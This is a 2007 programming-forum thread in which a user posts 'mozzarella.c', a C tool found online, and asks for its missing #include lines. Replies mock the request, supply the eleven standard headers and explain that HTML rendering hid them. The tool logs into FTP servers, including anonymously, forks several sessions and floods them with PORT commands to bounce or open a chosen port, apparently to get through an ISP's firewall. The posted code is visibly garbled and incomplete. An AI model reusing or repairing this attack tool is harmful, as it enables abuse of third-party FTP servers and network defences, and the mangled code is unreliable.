473,770 Members | 1,861 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

what are the include files?

Please, what are here the 11 include files (found over the internet)?

*/mozzarella.c /*

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ONESEC 1000000 /* usecs :) */
#define ANONPWD "mo*****@lamozz erlla.fastweb.s ux"

unsigned long int
resolv(char *host)
{
unsigned long int ip;
struct hostent *he;

ip = inet_addr(host) ;
if(ip != -1)
return ip;
he = gethostbyname(h ost);
if(he != NULL) {
memcpy(&ip, he->h_addr, sizeof(unsigned long int));
return ip;
}

fprintf(stderr, "Cannot resolve %s\n", host);
perror("gethost byname");
}

int /* -1: EOF, 0: not endline, 1: endline */
ftp_readline(ch ar *buf, int maxsz)
{
int islast = 0;

if(!fgets(buf, maxsz, stdin))
return -1;
if(buf[3] == ' ')
islast = 1;
while(!strchr(b uf, '\n'))
if(!fgets(buf, maxsz, stdin))
return islast;
return islast;
}

int
ftp_connect(cha r *host, int port)
{
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in sin;

if(s<0)
{
perror("socket" );
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_ addr = resolv(host);
if(sin.sin_addr .s_addr == -1) {
close(s);
return -1;
}
if(connect(s, (struct sockaddr *)&sin, sizeof(sin))<0)
{
perror("connect ");
close(s);
return -1;
}
return s;
}

int
ftp_status(char *s)
{
char p[5];

memcpy(p, s, 4);
p[4] = 0;

return atoi(p);
}

int
ftp_login(char *u, char *p)
{
char buf[4096];
int r;

while(!(r = ftp_readline(bu f,sizeof(buf))) )
;

if(r < 0)
{
fprintf(stderr, "Error reading from socket..\n");
return -1;
}
printf("USER %s\r\n", u); fflush(stdout);
if((r = ftp_readline(bu f, sizeof(buf)))<0 ) {
fprintf(stderr, "Error reading from socket..\n");
return -1;
}
if(ftp_status(b uf) == 230)
return 0;
if(ftp_status(b uf) != 331) {
fprintf(stderr, "Error logging in : %s\n", buf);
return -1;
}
if(!r) {
while(!(r = ftp_readline(bu f, sizeof(buf))))
;
if(r < 0)
fprintf(stderr, "Error reading from socket...:%s\n" ,
buf);
return -1;
}
printf("PASS %s\r\n", p); fflush(stdout);
if((r = ftp_readline(bu f, sizeof(buf)))<0 ) {
fprintf(stderr, "Error reading from socket..\n");
return -1;
}
if(ftp_status(b uf) == 230) {
if(!r)
while(!(r = ftp_readline(bu f, sizeof(buf))))
;
return 0;
}
fprintf(stderr, "Error loggin in: %s\n", buf);
return -1;
}

void
splitip(char *host, int *v)
{
struct in_addr tmp;
char *stmp, *q;

tmp.s_addr = resolv(host);
stmp = strdup(inet_nto a(tmp));
q = strtok(host, "."); v[0] = atoi(q);
q = strtok(NULL, "."); v[1] = atoi(q);
q = strtok(NULL, "."); v[2] = atoi(q);
q = strtok(NULL, "."); v[3] = atoi(q);
free(stmp);
}

int
ftp_port(int ip[4], int port)
{
char dummy[1024];
int i;

printf("SYST\r\ n");
printf("PORT %u,%u,%u,%u,%u, %u\r\n",
ip[0], ip[1], ip[2], ip[3], (port >8)&0xFF, port & 0xFF);
#ifdef VERBOSE
fprintf(stderr, "PORT %u,%u,%u,%u,%u, %u\r\n",
ip[0], ip[1], ip[2], ip[3], (port >8)&0xFF, port & 0xFF);
#endif

fflush(stdout);
if(ftp_readline (dummy, sizeof(dummy))< 0)
return -1;
else return 0;
};

int
create_instance s(int num, char *host, int fport,
char *u, char *p, int *lip, int port, int pps)
{
int masterpid = getpid(), new;

while(num)
{
new = fork();
if(new == 0)
return childmain(host, fport,u,p,lip,p ort);
usleep(ONESEC/3);
num--;
}
}

int
main(int argc,char **argv)
{
int c;
int port = -1,anonymous=0, ftpport=21,inst ances=3,hostnum =0,
pps = 4;
char *host[256], *pass=NULL, *local=NULL, *user = NULL, *s;
int local_ip[4];

while((c = getopt(argc, argv, "i:hu:p:aH:P:L: S:r:"))!=EOF)
switch(c)
{
case 'r':
pps = atoi(optarg);
break;
case 'i':
instances = atoi(optarg);
break;
case 'u':
user = optarg;
break;
case 'p':
pass = optarg;
break;
case 'H':
if(hostnum==256 ) {
printf("No more space\n");
break;
}
host[hostnum++] = optarg;
break;
case 'a':
anonymous = 1; break;
case 'P':
port = atoi(optarg); break;
case 'L':
local = optarg; break;
case 'h':
default:
printf("Usage: %s [-h][-u username -p password][-a][-H
host][-P port_to_open][-L localhost]\n", argv[0]);
printf("\t-h this help\n");
printf("\t-u username for ftp\n");
printf("\t-p password for ftp\n");
printf("\t-H ftp host\n");
printf("\t-L your local ip\n");
printf("\t-P the port to bounce\n");
printf("\t-a use anonymous ftp\n");
printf("\t-r number of PORT commands to send for each s
erver any second\n");
printf("\t-i number of session for ftp\n");
printf("You can specify MORE -H switches.\n");
exit(1);
break;
}
if(!anonymous && (!user||!pass))
{
printf("User and/or password missing AND anonymous mode not spe
cified\n");
exit(1);
}
if(!host || port <0)
{
printf("FTP host or port not specified\n");
exit(1);
}

splitip(local, local_ip);
if(anonymous) {
user = "anonymous" ;
pass = ANONPWD;
}
for(c = 0; c< 0) {
c = ftp_connect(hos t, ftpport);
sleep(1);
}
fprintf(stderr, "+ Connected...\n" );
dup2(c, 0);
dup2(c, 1);
if((a = ftp_login(user, pass))<0 && !d) {
shutdown(c, 2);
close (c);
exit(1);
} else while(a<0) {
a = ftp_login(user, pass);
sleep(1);
}
fprintf(stderr, "+ Logged in...\n");
d++;
while(1)
{
//fprintf(stderr, "+ Sending...\n");
usleep(ONESEC/pps);
if(ftp_port(loc al_ip, port)<0) {
shutdown(c, 2);
close(c);
break;
}
}
}
}
-----------------------------------------------------------------
Dec 3 '07 #1
7 2925
Giancarlo Bassi wrote:
Please, what are here the 11 include files (found over the internet)?

*/mozzarella.c /*

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ONESEC 1000000 /* usecs :) */
#define ANONPWD "mo*****@lamozz erlla.fastweb.s ux"

unsigned [..]
-----------------------------------------------------------------
Is this a joke?

V
--
Please remove capital 'A's when replying by e-mail
I do not respond to top-posted replies, please don't ask
Dec 3 '07 #2
On Dec 3, 11:59 am, "Victor Bazarov" <v.Abaza...@com Acast.netwrote:
Giancarlo Bassi wrote:
Please, what are here the 11 include files (found over the internet)?
*/mozzarella.c /*
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ONESEC 1000000 /* usecs :) */
#define ANONPWD "mode...@lamozz erlla.fastweb.s ux"
unsigned [..]
-----------------------------------------------------------------

Is this a joke?

V
--
Please remove capital 'A's when replying by e-mail
I do not respond to top-posted replies, please don't ask

I think so, it made me laugh after all.
Dec 3 '07 #3
I thought this NG was created for c++, not for laughing.
In Latin : "risus abundat in ores stultorum"
Don't ask me the translation.

If the include files are usual, known the usage of the program,
that should be achievable.

No problem, I can survive without reply too.

On Mon, 3 Dec 2007, Christopher wrote:
On Dec 3, 11:59 am, "Victor Bazarov" <v.Abaza...@com Acast.netwrote:
>Giancarlo Bassi wrote:
>>Please, what are here the 11 include files (found over the internet)?
>>*/mozzarella.c /*
>>#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
>>#define ONESEC 1000000 /* usecs :) */
#define ANONPWD "mode...@lamozz erlla.fastweb.s ux"
>>unsigned [..]
-----------------------------------------------------------------

Is this a joke?

V
--
Please remove capital 'A's when replying by e-mail
I do not respond to top-posted replies, please don't ask


I think so, it made me laugh after all.
Dec 3 '07 #4
On Dec 3, 2:08 pm, Giancarlo Bassi <g.ba...@iperbo le.bologna.it>
wrote:
I thought this NG was created for c++, not for laughing.
In Latin : "risus abundat in ores stultorum"
Don't ask me the translation.

If the include files are usual, known the usage of the program,
that should be achievable.

No problem, I can survive without reply too.
The newsgroup is for questions about C++, not for filling in the
blanks to some unknown source file. If it is homework, than do your
homework. If it is not, than ask a SPECIFIC question. If you can't
find the header for some standard C++ function, than A) look the
function up using google B) if you still can't find it, give the error
from the compiler. C) include the minimum compilable source causing
the problem.

No one wants to wade through or debug some random source file for you.
However, they are more than willing to help you with specific C++
questions.
Dec 3 '07 #5
On 2007-12-03 20:09, Giancarlo Bassi wrote:
Please, what are here the 11 include files (found over the internet)?

*/mozzarella.c /*

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
No, this is not 11 include files, it is 11 malformed preprocessor
directives, no sane compiler would accept that.

--
Erik Wikström
Dec 3 '07 #6
On Dec 3, 11:09 am, Giancarlo Bassi <g.ba...@iperbo le.bologna.it>
wrote:
Please, what are here the 11 include files (found over the internet)?

*/mozzarella.c /*

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
I searched on Google for some of the lines in the text, and found a
copy of the file. Here are the eleven #include lines:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/time.h>

In Turkish: "Kafani kullan."
Don't ask me the translation.

Ali
Dec 4 '07 #7
On Mon, 3 Dec 2007 20:09:57 +0100, Giancarlo Bassi wrote:
Please, what are here the 11 include files (found over the internet)?

*/mozzarella.c /*

#include
#include
#include
#include
...
You've stumbled across a page that attempts to show source code,
but does not properly encode it as HTML, resulting in sequences
of <...being quietly hidden in the rendering output.

Ps: Interesting that you use Pine for news. The first
time I see that. (Got it from the References header.)

--
Joel Yliluoma - http://iki.fi/bisqwit/
Dec 4 '07 #8

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

7
3291
by: Chad Scharf | last post by:
I have a legacy ASP application running on IIS 6.0 (Windows Server 2003 Web Edition) that is throwing an error when processesing a certain asp page that has about 200 or so include directives. We've checked the spelling, paths, include directives, and files individually and all of them work. We have also commented out random ones (4 or so at a time) and then the page works. It doesn't matter which ones we comment out, just so long as...
0
6137
by: Tom Lee | last post by:
Hi, I'm new to .NET 2003 compiler. When I tried to compile my program using DEBUG mode, I got the following errors in the C:\Program Files\Microsoft Visual Studio .NET 2003\Vc7 \include\xdebug file as folows. I need help to resolve them ASAP: cl /c /nologo /MDd /W3 /Od /GR /GM /Zi /GX /D "_DEBUG" /D " WIN32" /D "_W INDOWS" /D "_WINDLL" /D "_AFXDLL" /D "_MBCS" /D "_USRDLL" /
31
2806
by: Steven T. Hatton | last post by:
If a header is not necessarily a source file, and the sequences delimited by < and > in header names aren't necessarily valid source file names, what exactly is a header? -- p->m == (*p).m == p.m http://www.kdevelop.org http://www.suse.com http://www.mozilla.org
3
2967
by: fastwings | last post by:
mm the code //////makemenu.h//// class menu { public: int op; pmenu(int op,int sub = 0) { switch op {
1
7501
by: Minh | last post by:
I've just installed VS.NET 2003 on my Athlon XP 1800+. However I couldn't get any project with STL includes to compile even if I create a new empty project (and added #include <string>). It gave me a bunch of "missing ;" errors. I did reinstall the whole thing a few times but it didn't work. Anyone have any idea? Thanks c:\Program Files\Microsoft Visual Studio .NET\Vc7\include\xutility(862) :
1
4571
by: ya man | last post by:
when i use #include <iostream.h> in some files i get lots of error messages of the kind 'ambiguous symbol this is solved when i use #include <iostream why is that ? and can i use #include <iostream.h> in some way examples to the error messages c:\Program Files\Microsoft Visual Studio .NET\Vc7\include\streamb.h(90): error C2872: 'ios' : ambiguous symbo c:\Program Files\Microsoft Visual Studio .NET\Vc7\include\streamb.h(90): error C2872:...
2
5744
by: Qiao Yun | last post by:
I used vc++.net (visual studio .net ) to open a project which can work well in vc++6.0. I succeeded in compiling the project in vc++.net in release mode . But when I tried to compile the project in debug mode, the following errors happened: d:\Program Files\Microsoft Visual Studio .NET 2003\Vc7\include\xdebug(29): error C2365: 'new' : redefinition; previous definition was a 'member function' d:\Program Files\Microsoft Visual Studio...
2
1378
by: RedJoy | last post by:
I am trying to "clean up" a solution with 10 projects and I was wondering if there is a way to "traverse" the source files to find not only the #includes but also remove #includes that are not needed for a file. -- Thanks, Michael S. Wells \|/ Software Engineer ^O-O^
8
2146
by: The Cool Giraffe | last post by:
One thing i do know for sure. When one creates a CPP file, one needs to include the H file. Now, having said that, i wonder if there are some general hints, requirements or standard guide lines on what and how to include. Suppose that we have a project consisting of a number of classes and structs. Some of them using the others, some using all of them. What is a good approach when including? --
9
2218
by: xz | last post by:
What sense do h files make in c/cpp? I never thought about this question before. Does the existence of h files make sense at all? Why do we need to declare functions in h files and define/implement them in cpp?
0
9617
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However, people are often confused as to whether an ONU can Work As a Router. In this blog post, we’ll explore What is ONU, What Is Router, ONU & Router’s main usage, and What is the difference between ONU and Router. Let’s take a closer look ! Part I. Meaning of...
0
9453
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it. First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
0
10254
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
1
10036
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
8929
agi2029
by: agi2029 | last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own.... Now, this would greatly impact the work of software developers. The idea...
0
5354
by: TSSRALBI | last post by:
Hello I'm a network technician in training and I need your help. I am currently learning how to create and manage the different types of VPNs and I have a question about LAN-to-LAN VPNs. The last exercise I practiced was to create a LAN-to-LAN VPN between two Pfsense firewalls, by using IPSEC protocols. I succeeded, with both firewalls in the same network. But I'm wondering if it's possible to do the same thing, with 2 Pfsense firewalls...
0
5481
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4007
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
2
3607
muto222
by: muto222 | last post by:
How can i add a mobile payment intergratation into php mysql website.

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.